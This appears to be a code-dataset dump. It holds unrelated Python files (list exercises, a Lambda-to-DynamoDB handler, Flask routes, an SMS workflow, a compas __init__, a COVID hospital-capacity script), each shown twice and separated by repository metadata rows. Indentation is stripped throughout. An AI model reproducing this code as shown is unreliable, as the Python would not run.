# e.g. ['mix', 'xyz', 'apple', 'xanadu', 'aardvark'] yields
# ['xanadu', 'xyz', 'aardvark', 'apple', 'mix']
# Hint: this can be done by making 2 lists and sorting each of them
# before combining them.
def front_x(words):
na = [w for w in words if w[0] != 'x']
nx = [w for w in words if w[0] == 'x']
na.sort()
nx.sort()
return nx + na
# C. sort_last
# Given a list of non-empty tuples, return a list sorted in increasing
# order by the last element in each tuple.
# e.g. [(1, 7), (1, 3), (3, 4, 5), (2, 2)] yields
# [(2, 2), (1, 3), (3, 4, 5), (1, 7)]
# Hint: use a custom key= function to extract the last element form each tuple.
def sort_last(tuples):
tuples.sort(key=lambda tp: tp[-1])
return tuples
# Simple provided test() function used in main() to print
# what each function returns vs. what it's supposed to return.
def test(got, expected):
if got == expected:
prefix = ' OK '
else:
prefix = ' X '
print('%s got: %s expected: %s' % (prefix, repr(got), repr(expected)))
# Calls the above functions with interesting inputs.
def main():
print('match_ends')
test(match_ends(['aba', 'xyz', 'aa', 'x', 'bbb']), 3)
test(match_ends(['', 'x', 'xy', 'xyx', 'xx']), 2)
test(match_ends(['aaa', 'be', 'abc', 'hello']), 1)
print()
print('front_x')
test(front_x(['bbb', 'ccc', 'axx', 'xzz', 'xaa']),
['xaa', 'xzz', 'axx', 'bbb', 'ccc'])
test(front_x(['ccc', 'bbb', 'aaa', 'xcc', 'xaa']),
['xaa', 'xcc', 'aaa', 'bbb', 'ccc'])
test(front_x(['mix', 'xyz', 'apple', 'xanadu', 'aardvark']),
['xanadu', 'xyz', 'aardvark', 'apple', 'mix'])
print()
print('sort_last')
test(sort_last([(1, 3), (3, 2), (2, 1)]),
[(2, 1), (3, 2), (1, 3)])
test(sort_last([(2, 3), (1, 2), (3, 1)]),
[(3, 1), (1, 2), (2, 3)])
test(sort_last([(1, 7), (1, 3), (3, 4, 5), (2, 2)]),
[(2, 2), (1, 3), (3, 4, 5), (1, 7)])
if __name__ == '__main__':
main()
| 32.35 | 79 | 0.58949 |
# http://code.google.com/edu/languages/google-python-class/
# Basic list exercises
# Fill in the code for the functions below. main() is already set up
# to call the functions with a few different inputs,
# printing 'OK' when each function is correct.
# The starter code for each function includes a 'return'
# which is just a placeholder for your code.
# It's ok if you do not complete all the functions, and there
def match_ends(words):
nl = []
nl = [w for w in words if len(w) >= 2 and w[0] == w[-1]]
return len(nl)
def front_x(words):
na = [w for w in words if w[0] != 'x']
nx = [w for w in words if w[0] == 'x']
na.sort()
nx.sort()
return nx + na
def sort_last(tuples):
tuples.sort(key=lambda tp: tp[-1])
return tuples
def test(got, expected):
if got == expected:
prefix = ' OK '
else:
prefix = ' X '
print('%s got: %s expected: %s' % (prefix, repr(got), repr(expected)))
# Calls the above functions with interesting inputs.
def main():
print('match_ends')
test(match_ends(['aba', 'xyz', 'aa', 'x', 'bbb']), 3)
test(match_ends(['', 'x', 'xy', 'xyx', 'xx']), 2)
test(match_ends(['aaa', 'be', 'abc', 'hello']), 1)
print()
print('front_x')
test(front_x(['bbb', 'ccc', 'axx', 'xzz', 'xaa']),
['xaa', 'xzz', 'axx', 'bbb', 'ccc'])
test(front_x(['ccc', 'bbb', 'aaa', 'xcc', 'xaa']),
['xaa', 'xcc', 'aaa', 'bbb', 'ccc'])
test(front_x(['mix', 'xyz', 'apple', 'xanadu', 'aardvark']),
['xanadu', 'xyz', 'aardvark', 'apple', 'mix'])
print()
print('sort_last')
test(sort_last([(1, 3), (3, 2), (2, 1)]),
[(2, 1), (3, 2), (1, 3)])
test(sort_last([(2, 3), (1, 2), (3, 1)]),
[(3, 1), (1, 2), (2, 3)])
test(sort_last([(1, 7), (1, 3), (3, 4, 5), (2, 2)]),
[(2, 2), (1, 3), (3, 4, 5), (1, 7)])
if __name__ == '__main__':
main()
| true | true |
f7f378806b9819c3952db343a7d3a22e62195f17 | 494 | py | Python | 09-lambda/lab9-2-1/index.py | imbgar/stel-u | 4bcfed482224230ade0cec3468da08995299cd1b | [
"MIT"
] | null | null | null | 09-lambda/lab9-2-1/index.py | imbgar/stel-u | 4bcfed482224230ade0cec3468da08995299cd1b | [
"MIT"
] | 1 | 2021-05-26T20:19:08.000Z | 2021-05-26T20:19:08.000Z | 09-lambda/lab9-2-1/index.py | imbgar/stel-u | 4bcfed482224230ade0cec3468da08995299cd1b | [
"MIT"
] | null | null | null | import json
import boto3
def lambda_handler(event, context):
data = json.loads(event["body"])
dynamodb = boto3.resource('dynamodb')
table = dynamodb.Table('bgar-Movies')
print(f"Writing item with: {data}")
response = table.put_item(
Item={
'movie_id': data["movie_id"],
'genre': data["genre"],
'rating': data["rating"]
}
)
response = {'statusCode': 200,
'body': json.dumps(response)}
return response | 20.583333 | 41 | 0.576923 | import json
import boto3
def lambda_handler(event, context):
data = json.loads(event["body"])
dynamodb = boto3.resource('dynamodb')
table = dynamodb.Table('bgar-Movies')
print(f"Writing item with: {data}")
response = table.put_item(
Item={
'movie_id': data["movie_id"],
'genre': data["genre"],
'rating': data["rating"]
}
)
response = {'statusCode': 200,
'body': json.dumps(response)}
return response | true | true |
f7f378b09fc4657386907f71e68a70c7e7b888b4 | 728 | py | Python | davaiops/routes/main.py | barretobrock/davaiops | a6ab8aff2a64c18d1ad199ed75e4de833bb19659 | [
"MIT"
] | null | null | null | davaiops/routes/main.py | barretobrock/davaiops | a6ab8aff2a64c18d1ad199ed75e4de833bb19659 | [
"MIT"
] | null | null | null | davaiops/routes/main.py | barretobrock/davaiops | a6ab8aff2a64c18d1ad199ed75e4de833bb19659 | [
"MIT"
] | null | null | null | from flask import (
render_template,
Blueprint,
Response
)
main = Blueprint('main', __name__)
@main.route('/')
@main.route('/home')
def index():
return render_template('index.html')
@main.route('/projects')
def projects():
return render_template('projects/projects.html', title='Projects')
@main.route('/contact')
def contact() -> str:
return render_template('contact.html', title='Contact')
@main.route('/robots.txt')
def robots() -> Response:
"""Responds with robots.txt instructions to discourage web crawling"""
resp = Response(response="User-Agent: *\nDisallow: /\n", status=200, mimetype="text/plain")
resp.headers['Content-Type'] = 'text/plain; charset=utf-8'
return resp
| 22.75 | 95 | 0.679945 | from flask import (
render_template,
Blueprint,
Response
)
main = Blueprint('main', __name__)
@main.route('/')
@main.route('/home')
def index():
return render_template('index.html')
@main.route('/projects')
def projects():
return render_template('projects/projects.html', title='Projects')
@main.route('/contact')
def contact() -> str:
return render_template('contact.html', title='Contact')
@main.route('/robots.txt')
def robots() -> Response:
resp = Response(response="User-Agent: *\nDisallow: /\n", status=200, mimetype="text/plain")
resp.headers['Content-Type'] = 'text/plain; charset=utf-8'
return resp
| true | true |
f7f379afe54d7657538803ed559173df08e9740c | 3,306 | py | Python | blockbuster/workflows/command_start.py | mattstibbs/blockbuster-server | cc66278405fcb02ebf07624e70220550ef1ad13b | [
"MIT"
] | null | null | null | blockbuster/workflows/command_start.py | mattstibbs/blockbuster-server | cc66278405fcb02ebf07624e70220550ef1ad13b | [
"MIT"
] | 455 | 2015-02-02T21:29:35.000Z | 2021-08-02T05:37:49.000Z | blockbuster/workflows/command_start.py | greysteil/blockbuster-server | 475aa1f6da608f12c9c05607e3f302a21a712dfd | [
"MIT"
] | 2 | 2016-03-14T16:39:40.000Z | 2018-03-08T12:03:33.000Z | import blockbuster.bb_logging as log
import blockbuster.bb_dbconnector_factory
from blockbuster.messaging import bb_sms_handler
def go(smsrequest):
instance_name = smsrequest.instancename
blockbuster.bb_dbconnector_factory.DBConnectorInterfaceFactory().create()\
.add_analytics_record("Count", "Command-START", instance_name)
send_welcome_message(smsrequest)
return
# This method simply sends a 'Welcome' text message to the user
def send_welcome_message(smsrequest):
blockbuster.bb_logging.logger.info("Sending Welcome Message destination_mobile=\"%s\"",
smsrequest.requestormobile)
message = "Welcome to Blockbuster! \n" \
"\n" \
"To register a car, text 'REGISTER AB05TYR Firstname Surname'. \n" \
"\n" \
"For more commands text '?'"
bb_sms_handler.send_sms_notification(smsrequest.servicenumber,
smsrequest.requestormobile,
message)
return
# This method is a WORK IN PROGRESS
def workflow_start(smsrequest):
print(str.format("Request from: {0}", smsrequest.requestormobile))
# Is the user registered?
log.logger.debug("Checking if the mobile number is already registered")
# If so - do they have any vehicles registered?
log.logger.debug("User already has registered vehicles.")
message = "Welcome back, Joe Bloggs! \n" \
"\n" \
"You have the following vehicles registered: \n" \
"\n" \
"Vehicle 1\n" \
"Vehicle 2\n" \
"\n" \
"Text 'REGISTER AB05TYR' to add a vehicle."
bb_sms_handler.send_sms_notification(smsrequest.servicenumber,
smsrequest.requestormobile,
message)
# If not - prompt them to add a vehicle
log.logger.debug("User has no registered vehicles - prompting to add one.")
message = "Welcome back, Joe Bloggs! \n" \
"\n" \
"You don't currently have any vehicles registered." \
"\n" \
"Text 'REGISTER AB05TYR' to add a vehicle."
bb_sms_handler.send_sms_notification(smsrequest.servicenumber,
smsrequest.requestormobile,
message)
# Is the user on the blacklist?
log.logger.debug("Checking if the mobile number is blacklisted")
message = "Welcome back!\n" \
"\n" \
"Messages from this service are currently 'Stopped'.\n" \
"\n" \
"Text 'RESTART' to remove the stop on this number."
# In which case - welcome them!
log.logger.debug("New user - sending welcome message")
message = "Welcome to Blockbuster! \n" \
"\n" \
"To register a car, text 'REGISTER AB05TYR Firstname Surname'. \n" \
"\n" \
"For more info visit http://bit.ly/bbparking or reply 'HELP' for commands."
bb_sms_handler.send_sms_notification(smsrequest.servicenumber,
smsrequest.requestormobile,
message) | 36.733333 | 91 | 0.577132 | import blockbuster.bb_logging as log
import blockbuster.bb_dbconnector_factory
from blockbuster.messaging import bb_sms_handler
def go(smsrequest):
instance_name = smsrequest.instancename
blockbuster.bb_dbconnector_factory.DBConnectorInterfaceFactory().create()\
.add_analytics_record("Count", "Command-START", instance_name)
send_welcome_message(smsrequest)
return
def send_welcome_message(smsrequest):
blockbuster.bb_logging.logger.info("Sending Welcome Message destination_mobile=\"%s\"",
smsrequest.requestormobile)
message = "Welcome to Blockbuster! \n" \
"\n" \
"To register a car, text 'REGISTER AB05TYR Firstname Surname'. \n" \
"\n" \
"For more commands text '?'"
bb_sms_handler.send_sms_notification(smsrequest.servicenumber,
smsrequest.requestormobile,
message)
return
def workflow_start(smsrequest):
print(str.format("Request from: {0}", smsrequest.requestormobile))
log.logger.debug("Checking if the mobile number is already registered")
log.logger.debug("User already has registered vehicles.")
message = "Welcome back, Joe Bloggs! \n" \
"\n" \
"You have the following vehicles registered: \n" \
"\n" \
"Vehicle 1\n" \
"Vehicle 2\n" \
"\n" \
"Text 'REGISTER AB05TYR' to add a vehicle."
bb_sms_handler.send_sms_notification(smsrequest.servicenumber,
smsrequest.requestormobile,
message)
log.logger.debug("User has no registered vehicles - prompting to add one.")
message = "Welcome back, Joe Bloggs! \n" \
"\n" \
"You don't currently have any vehicles registered." \
"\n" \
"Text 'REGISTER AB05TYR' to add a vehicle."
bb_sms_handler.send_sms_notification(smsrequest.servicenumber,
smsrequest.requestormobile,
message)
# Is the user on the blacklist?
log.logger.debug("Checking if the mobile number is blacklisted")
message = "Welcome back!\n" \
"\n" \
"Messages from this service are currently 'Stopped'.\n" \
"\n" \
"Text 'RESTART' to remove the stop on this number."
# In which case - welcome them!
log.logger.debug("New user - sending welcome message")
message = "Welcome to Blockbuster! \n" \
"\n" \
"To register a car, text 'REGISTER AB05TYR Firstname Surname'. \n" \
"\n" \
"For more info visit http://bit.ly/bbparking or reply 'HELP' for commands."
bb_sms_handler.send_sms_notification(smsrequest.servicenumber,
smsrequest.requestormobile,
message) | true | true |
f7f379c83fa40ccc03b9944cfb7ea25acf93529f | 671 | py | Python | src/compas/datastructures/network/__init__.py | kathrindoerfler/compas | e876b36b582ee055da673befca1b7ced3834090c | [
"MIT"
] | null | null | null | src/compas/datastructures/network/__init__.py | kathrindoerfler/compas | e876b36b582ee055da673befca1b7ced3834090c | [
"MIT"
] | null | null | null | src/compas/datastructures/network/__init__.py | kathrindoerfler/compas | e876b36b582ee055da673befca1b7ced3834090c | [
"MIT"
] | null | null | null | from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import compas
from .core import * # noqa: F401 F403
from ._network import * # noqa: F401 F403
from .combinatorics import * # noqa: F401 F403
from .complementarity import * # noqa: F401 F403
from .duality import * # noqa: F401 F403
from .explode import * # noqa: F401 F403
# from .parallelisation import * # noqa: F401 F403
if not compas.IPY:
from .planarity_ import * # noqa: F401 F403
from .smoothing import * # noqa: F401 F403
from .transformations import * # noqa: F401 F403
__all__ = [name for name in dir() if not name.startswith('_')]
| 27.958333 | 62 | 0.728763 | from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import compas
from .core import *
from ._network import *
from .combinatorics import *
from .complementarity import *
from .duality import *
from .explode import *
PY:
from .planarity_ import *
from .smoothing import *
from .transformations import *
__all__ = [name for name in dir() if not name.startswith('_')]
| true | true |
f7f37aba07e61156e8ee0d5038e69672668b88fc | 18,538 | py | Python | data_processing/exceeding_capacity_1.py | jgerardin/covid-chicago | c2b91fdb42eece413e6fb0f6cee019357b96e00d | [
"Apache-2.0"
] | 5 | 2020-06-01T19:36:38.000Z | 2020-12-08T16:14:35.000Z | data_processing/exceeding_capacity_1.py | jgerardin/covid-chicago | c2b91fdb42eece413e6fb0f6cee019357b96e00d | [
"Apache-2.0"
] | 104 | 2020-06-02T16:50:11.000Z | 2021-06-25T10:28:32.000Z | data_processing/exceeding_capacity_1.py | jgerardin/covid-chicago | c2b91fdb42eece413e6fb0f6cee019357b96e00d | [
"Apache-2.0"
] | 27 | 2020-06-01T19:36:45.000Z | 2021-07-21T19:57:19.000Z | print('Importing packages...')
import pandas as pd
import matplotlib.pyplot as plt
import datetime as dt
import seaborn as sns
import numpy as np
import matplotlib.dates as mdates
import datetime
#sns.set(color_codes=True)
import matplotlib as mpl
mpl.rcParams['pdf.fonttype'] = 42
import statistics as st
sns.set_style('whitegrid', {'axes.linewidth' : 0.5})
from statsmodels.distributions.empirical_distribution import ECDF
import scipy
import gc
column_list = ['scen_num', 'reopening_multiplier_4']
for ems_region in range(1,12):
column_list.append('hosp_det_EMS-' + str(ems_region))
column_list.append('hosp_det_cumul_EMS-' + str(ems_region))
column_list.append('detected_cumul_EMS-' + str(ems_region))
#Specify paths to trajectories. For this run, all trajectories were temporarily stored in the same folder.
print('Reading trajectories...')
sub1 = pd.read_csv('trajectoriesDat_1.csv', usecols=column_list) #0.08 - 0.09
print('Trajectory 1 read.')
sub2 = pd.read_csv('trajectoriesDat_2.csv', usecols=column_list) #0.10 - 0.115
print('Trajectory 2 read.')
sub3 = pd.read_csv('trajectoriesDat_3.csv', usecols=column_list) #0.087 - 0.10
print('Trajectory 3 read.')
sub4 = pd.read_csv('trajectoriesDat_08.csv', usecols=column_list) # 0.08 - 0.10
sub4['scen_num'] = sub4['scen_num'].values + 1000
print('Trajectory 4 read.')
sub5 = pd.read_csv('trajectoriesDat_300.csv', usecols=column_list) #0.1 - 0.11
sub5['scen_num'] = sub5['scen_num'].values + 2000
print('Trajectory 5 read.')
sub6 = pd.read_csv('trajectoriesDat_600.csv', usecols=column_list) #0.115 - 0.13
sub6['scen_num'] = sub6['scen_num'].values + 2000
print('Trajectory 6 read.')
sub7 = pd.read_csv('trajectoriesDat_1000.csv', usecols=column_list) #0.13 - 0.15
sub7['scen_num'] = sub7['scen_num'].values + 2000
print('Trajectory 7 read.')
sub8 = pd.read_csv('trajectoriesDat_15.csv', usecols=column_list) #0.13 - 0.15
sub8['scen_num'] = sub8['scen_num'].values + 3000
print('Trajectory 8 read.')
###loop here
for region in ['NE', 'NC', 'CE', 'SO']:
for capacity in ['high', 'low']:
for metric in ['det', 'hosp']: #current implementation only allows tracking new_detected and new_hosp.
boink = []
### Region
#hospital_capacity = 1907
#NE 4919 8609 12299
#NC 1089 1907 2724
#CE 856 1498 2140
#SO 640 1121 1601
### Metric to assess:
if metric == 'det':
notif = 'new_det_' + region
if metric == 'hosp':
notif = 'new_hosp_det_' + region
### Simulation Dates to Examine
lower_limit = 145
upper_limit = 225
grain = 1
prob_over_array = []
range_1 = np.arange(0, 25, 0.01)
### Capacity
### Which trajectories to use for each capacity were determined by hand.
if region == 'NE':
if capacity == 'low':
hospital_capacity = 4919
trajectories = pd.concat([sub1, sub3, sub4]).reset_index()
elif capacity == 'high':
hospital_capacity = 8609
trajectories = pd.concat([sub1, sub2, sub3]).reset_index()
elif region == 'NC':
if capacity == 'low':
hospital_capacity = 1089
trajectories = pd.concat([sub4, sub5, sub6, sub7]).reset_index()
elif capacity == 'high':
hospital_capacity = 1907
trajectories = pd.concat([sub5, sub6, sub7]).reset_index()
elif region == 'CE':
if capacity == 'low':
hospital_capacity = 856
trajectories = pd.concat([sub5, sub6, sub7]).reset_index()
elif capacity == 'high':
hospital_capacity = 1498
trajectories = sub8 #pd.concat([sub5, sub6, sub7, sub8]).reset_index() ##need new
elif region == 'SO':
if capacity == 'low':
hospital_capacity = 640
trajectories = pd.concat([sub1, sub2, sub3]).reset_index()
elif capacity == 'high':
hospital_capacity = 1121
trajectories = pd.concat([sub5, sub6, sub7]).reset_index()
#NE Region
trajectories['hosp_det_NE'] = trajectories['hosp_det_EMS-11'] + \
trajectories['hosp_det_EMS-10'] + \
trajectories['hosp_det_EMS-9'] + \
trajectories['hosp_det_EMS-8'] + \
trajectories['hosp_det_EMS-7']
trajectories['hosp_det_cumul_NE'] = trajectories['hosp_det_cumul_EMS-11'] + \
trajectories['hosp_det_cumul_EMS-10'] + \
trajectories['hosp_det_cumul_EMS-9'] + \
trajectories['hosp_det_cumul_EMS-8'] + \
trajectories['hosp_det_cumul_EMS-7']
trajectories['detected_cumul_NE'] = trajectories['detected_cumul_EMS-11'] + \
trajectories['detected_cumul_EMS-10'] + \
trajectories['detected_cumul_EMS-9'] + \
trajectories['detected_cumul_EMS-8'] + \
trajectories['detected_cumul_EMS-7']
#NC Region
trajectories['hosp_det_NC'] = trajectories['hosp_det_EMS-1'] + trajectories['hosp_det_EMS-2']
trajectories['hosp_det_cumul_NC'] = trajectories['hosp_det_cumul_EMS-1'] + trajectories['hosp_det_cumul_EMS-2']
trajectories['detected_cumul_NC'] = trajectories['detected_cumul_EMS-1'] + trajectories['detected_cumul_EMS-2']
#CE Region
trajectories['hosp_det_CE'] = trajectories['hosp_det_EMS-3'] + trajectories['hosp_det_EMS-6']
trajectories['hosp_det_cumul_CE'] = trajectories['hosp_det_cumul_EMS-3'] + trajectories['hosp_det_cumul_EMS-6']
trajectories['detected_cumul_CE'] = trajectories['detected_cumul_EMS-3'] + trajectories['detected_cumul_EMS-6']
#SO Region
trajectories['hosp_det_SO'] = trajectories['hosp_det_EMS-4'] + trajectories['hosp_det_EMS-5']
trajectories['hosp_det_cumul_SO'] = trajectories['hosp_det_cumul_EMS-4'] + trajectories['hosp_det_cumul_EMS-5']
trajectories['detected_cumul_SO'] = trajectories['detected_cumul_EMS-4'] + trajectories['detected_cumul_EMS-5']
print('Region: ' + region)
print('Capacity: ' + str(capacity))
print('Metric: ' + str(notif))
thresh = []
p_array = []
dates_array = []
over_array = []
no_array = []
days_array = np.arange(lower_limit,upper_limit, grain)
for notif_period in days_array:
trajectories_new = trajectories
unique_scen = np.array(list(set(trajectories_new['scen_num'].values)))
overflow_date = []
max_date = []
#notif = 'new_detected'
overflow_traj = []
traj = []
non_overflow_traj = []
overflow_scens = []
non_overflow_scens = []
non_overflow_crit_day = []
overflow_crit_day = []
overflow_week = []
overflow_prior_week = []
non_overflow_week = []
non_overflow_prior_week = []
crit_day = []
week = []
week_prior = []
crit = notif_period
for scen in unique_scen:
new = trajectories_new[(trajectories_new['scen_num'] == scen)].reset_index()
new['new_hosp_det_NE'] = np.append(np.array([0.0]), np.diff(new['hosp_det_cumul_NE'].values))
new['new_det_NE'] = np.append(np.array([0.0]), np.diff(new['detected_cumul_NE'].values))
new['new_hosp_det_NC'] = np.append(np.array([0.0]), np.diff(new['hosp_det_cumul_NC'].values))
new['new_det_NC'] = np.append(np.array([0.0]), np.diff(new['detected_cumul_NC'].values))
new['new_hosp_det_CE'] = np.append(np.array([0.0]), np.diff(new['hosp_det_cumul_CE'].values))
new['new_det_CE'] = np.append(np.array([0.0]), np.diff(new['detected_cumul_CE'].values))
new['new_hosp_det_SO'] = np.append(np.array([0.0]), np.diff(new['hosp_det_cumul_SO'].values))
new['new_det_SO'] = np.append(np.array([0.0]), np.diff(new['detected_cumul_SO'].values))
hosp = new['hosp_det_' + region].values #new['hosp_det'].values
i = 0
traj.append(hosp)
while (hosp[i] < hospital_capacity) & (i < len(hosp)-1):
i += 1
crit_day.append(i)
if i == len(hosp) - 1:
non_overflow_traj.append(hosp)
non_overflow_scens.append(scen)
#crit_day.append(i)
non_overflow_week.append(np.mean(new[notif].values[crit-7:crit]))
non_overflow_prior_week.append(np.mean(new[notif].values[crit-14:crit-7]))
else:
overflow_traj.append(hosp)
overflow_scens.append(scen)
#crit_day.append(i)
overflow_week.append(np.mean(new[notif].values[crit-7:crit]))
overflow_prior_week.append(np.mean(new[notif].values[crit-14:crit-7]))
overflow_week = np.array(overflow_week)
overflow_prior_week = np.array(overflow_prior_week)
non_overflow_week = np.array(non_overflow_week)
non_overflow_prior_week = np.array(non_overflow_prior_week)
overflow_date = np.array(overflow_date)
max_date = np.array(max_date)
week = np.array(week)
crit_day = np.array(crit_day)
week_prior = np.array(week_prior)
boink.append(np.mean(week/week_prior))
over = overflow_week/overflow_prior_week
no = non_overflow_week/non_overflow_prior_week
#ecdf_over = ECDF(over)
#ecdf_no = ECDF(no)
#prob_over = np.cumsum(ecdf_no(range_1)-ecdf_over(range_1))/np.sum(ecdf_no(range_1)-ecdf_over(range_1))
#print('Mean Over: ' + str(np.mean(over)))
#print('Mean No: ' + str(np.mean(no)))
if np.mean(over) > np.mean(no):
p_over = scipy.stats.norm.pdf(range_1, np.mean(over), np.std(np.append(over,no, axis=0)))
p_no = scipy.stats.norm.pdf(range_1, np.mean(no), np.std(np.append(over,no, axis=0)))
prob_over = p_over/(p_over+p_no)
prob_over_array.append(prob_over)
over_array.append(np.median(over))
no_array.append(np.median(no))
#thresh.append((np.median(over) + np.median(no))/2)
stat, p = scipy.stats.ttest_ind(over,no)
p_array.append(p)
dates_array.append(dt.datetime(month=2, day=13, year=2020) + dt.timedelta(days=int(crit)))
print(crit)
over_array = np.array(over_array)
no_array = np.array(no_array)
print('done')
#trace fig
full_dates_array = []
for ni in np.arange(0,370,1):
full_dates_array.append(dt.datetime(month=2, day=13, year=2020) + dt.timedelta(days=int(ni)))
plt.figure(figsize=(10,6))
for traject in overflow_traj:
if (len(traject) == len(full_dates_array)):
plt.plot(full_dates_array, traject, color='r', alpha=0.1)
for traject in non_overflow_traj:
if (len(traject) == len(full_dates_array)):
plt.plot(full_dates_array, traject, color='b', alpha=0.1)
#plt.yscale('log')
plt.hlines(hospital_capacity, xmin=dt.datetime(month=2, day=13, year=2020) + dt.timedelta(days=int(0)), xmax=dt.datetime(month=2, day=13, year=2020) + dt.timedelta(days=int(ni)))
plt.xlim([dt.datetime(month=2, day=13, year=2020) + dt.timedelta(days=int(0)), dt.datetime(month=2, day=13, year=2020) + dt.timedelta(days=int(ni))])
#plt.vlines(np.median(crit_day[crit_day != 369]),ymin=1,ymax=30000, linestyle='dashed', alpha=0.4)
plt.ylabel(region + ' Hospitalized', fontsize=14)
formatter = mdates.DateFormatter("%m-%y")
ax = plt.gca()
ax.xaxis.set_major_formatter(formatter)
#ax.xaxis.set_major_locator(mdates.DayLocator(interval=7))
ax.xaxis.set_major_locator(mdates.MonthLocator())
#plt.xlabel('Simulation Day', fontsize=14)
plt.xticks(fontsize=14)
plt.yticks(fontsize=14)
#plt.savefig('sims_2.png', dpi=200)
#plt.savefig('sims_2.pdf')
print('Proportion of sims that do not exceed: ' + str(np.sum(crit_day == 369)/(len(trajectories)/370)))
print('Number of trajectories: ' + str(len(trajectories)/370))
#p-value fig
plt.figure(figsize=(10,6))
plt.plot(dates_array, p_array)
plt.xticks(fontsize=14)
plt.yticks(fontsize=14)
ax = plt.gca()
formatter = mdates.DateFormatter("%m-%d")
ax.xaxis.set_major_formatter(formatter)
ax.xaxis.set_major_locator(mdates.DayLocator(interval=7))
#ax.xaxis.set_major_locator(mdates.MonthLocator())
plt.yscale('log')
plt.ylabel('Significance of Difference Between\nOverflow Scenarios and Non-Overflow Scenarios\n(p-value of t-test)', fontsize=14)
plt.savefig('p_val_' + str(notif) + '_' + region + str(hospital_capacity) + '_1.png', dpi=200)
plt.savefig('p_val_' + str(notif) + '_' + region + str(hospital_capacity) + '_1.pdf')
pd.DataFrame({'date':dates_array, 'p_val':p_array}).to_csv('p_val_' + str(notif) + '_' + region + str(hospital_capacity) + '_1.csv')
#Threshold fig
thresh_0 = .05
thresh_1 = .20
thresh_2 = .50
thresh_3 = .80
thresh_4 = .95
thresh_0_array = []
thresh_1_array = []
thresh_2_array = []
thresh_3_array = []
thresh_4_array = []
count = 0
for prob_array in prob_over_array:
i = 0
while prob_array[i] < thresh_0:
i += 1
thresh_0_array.append(i)
i = 0
while prob_array[i] < thresh_1:
i += 1
thresh_1_array.append(i)
i = 0
while prob_array[i] < thresh_2:
i += 1
thresh_2_array.append(i)
i = 0
while prob_array[i] < thresh_3:
i += 1
thresh_3_array.append(i)
i = 0
while prob_array[i] < thresh_4:
i += 1
thresh_4_array.append(i)
count += 1
print(count)
thresh_0_array = np.array(thresh_0_array)
thresh_1_array = np.array(thresh_1_array)
thresh_2_array = np.array(thresh_2_array)
thresh_3_array = np.array(thresh_3_array)
thresh_4_array = np.array(thresh_4_array)
plt.figure(figsize=(10,6))
plt.plot(dates_array, 100*(range_1[thresh_4_array]-1), alpha=1.0, color='r', label='95% chance of exceeding capacity')
plt.plot(dates_array, 100*(range_1[thresh_3_array]-1), alpha=0.75, color='r', label='80% chance of exceeding capacity')
plt.plot(dates_array, 100*(range_1[thresh_2_array]-1), alpha=1.0, color='k', linestyle='dashed', label='50% chance of exceeding capacity')
plt.plot(dates_array, 100*(range_1[thresh_1_array]-1), alpha=0.50, color='r', label='20% chance of exceeding capacity')
plt.plot(dates_array, 100*(range_1[thresh_0_array]-1), alpha=0.25, color='r', label='5% chance of exceeding capacity')
#plt.axvline(dt.datetime(month=2, day=13, year=2020) + dt.timedelta(days=int(193)))
ax = plt.gca()
formatter = mdates.DateFormatter("%m-%d")
ax.xaxis.set_major_formatter(formatter)
ax.xaxis.set_major_locator(mdates.DayLocator(interval=7))
overflows_occur = 175
alpha = 0.02
for ele in np.sort(crit_day[crit_day != 369].copy()):
plt.fill_between(x=[dt.datetime(month=2, day=13, year=2020) + dt.timedelta(days=int(ele)), dt.datetime(month=2, day=13, year=2020) + dt.timedelta(days=int(upper_limit+5))], y1=-30, y2=120, color='k', alpha=alpha, hatch='/', linewidth=0) #label='scenarios begin to exceed capacity'
#plt.fill_between(x=[dt.datetime(month=2, day=13, year=2020) + dt.timedelta(days=int(overflows_occur)), dt.datetime(month=2, day=13, year=2020) + dt.timedelta(days=int(205))], y1=-30, y2=120, color='k', alpha=0.05, hatch='/', linewidth=0) #label='scenarios begin to exceed capacity'
#plt.fill_between(x=[dt.datetime(month=2, day=13, year=2020) + dt.timedelta(days=int(overflows_occur+2)), dt.datetime(month=2, day=13, year=2020) + dt.timedelta(days=int(205))], y1=-30, y2=120, color='k', alpha=0.05, hatch='/', linewidth=0) #label='scenarios begin to exceed capacity'
plt.xlim([dt.datetime(month=2, day=13, year=2020) + dt.timedelta(days=int(145)),dt.datetime(month=10, day=1, year=2020)])
plt.ylim([-30,100])
plt.ylabel('Threshold % change in\n' + notif + '\nfrom previous week', fontsize=14)
plt.xlabel('Date of Assessment', fontsize=14)
plt.legend(fontsize=12)
plt.xticks(fontsize=14)
plt.yticks(fontsize=14)
#plt.savefig('overflow_prob_draft_2.png', dpi=200)
#plt.savefig('overflow_prob_draft_2.pdf')
plt.savefig('overflow_prob_draft_' + str(notif) + '_' + region + str(hospital_capacity) + '_1.png', dpi=200)
plt.savefig('overflow_prob_draft_' + str(notif) + '_' + region + str(hospital_capacity) + '_1.pdf') | 52.219718 | 300 | 0.572608 | print('Importing packages...')
import pandas as pd
import matplotlib.pyplot as plt
import datetime as dt
import seaborn as sns
import numpy as np
import matplotlib.dates as mdates
import datetime
import matplotlib as mpl
mpl.rcParams['pdf.fonttype'] = 42
import statistics as st
sns.set_style('whitegrid', {'axes.linewidth' : 0.5})
from statsmodels.distributions.empirical_distribution import ECDF
import scipy
import gc
column_list = ['scen_num', 'reopening_multiplier_4']
for ems_region in range(1,12):
column_list.append('hosp_det_EMS-' + str(ems_region))
column_list.append('hosp_det_cumul_EMS-' + str(ems_region))
column_list.append('detected_cumul_EMS-' + str(ems_region))
print('Reading trajectories...')
sub1 = pd.read_csv('trajectoriesDat_1.csv', usecols=column_list)
print('Trajectory 1 read.')
sub2 = pd.read_csv('trajectoriesDat_2.csv', usecols=column_list)
print('Trajectory 2 read.')
sub3 = pd.read_csv('trajectoriesDat_3.csv', usecols=column_list)
print('Trajectory 3 read.')
sub4 = pd.read_csv('trajectoriesDat_08.csv', usecols=column_list)
sub4['scen_num'] = sub4['scen_num'].values + 1000
print('Trajectory 4 read.')
sub5 = pd.read_csv('trajectoriesDat_300.csv', usecols=column_list)
sub5['scen_num'] = sub5['scen_num'].values + 2000
print('Trajectory 5 read.')
sub6 = pd.read_csv('trajectoriesDat_600.csv', usecols=column_list)
sub6['scen_num'] = sub6['scen_num'].values + 2000
print('Trajectory 6 read.')
sub7 = pd.read_csv('trajectoriesDat_1000.csv', usecols=column_list)
sub7['scen_num'] = sub7['scen_num'].values + 2000
print('Trajectory 7 read.')
sub8 = pd.read_csv('trajectoriesDat_15.csv', usecols=column_list)
sub8['scen_num'] = sub8['scen_num'].values + 3000
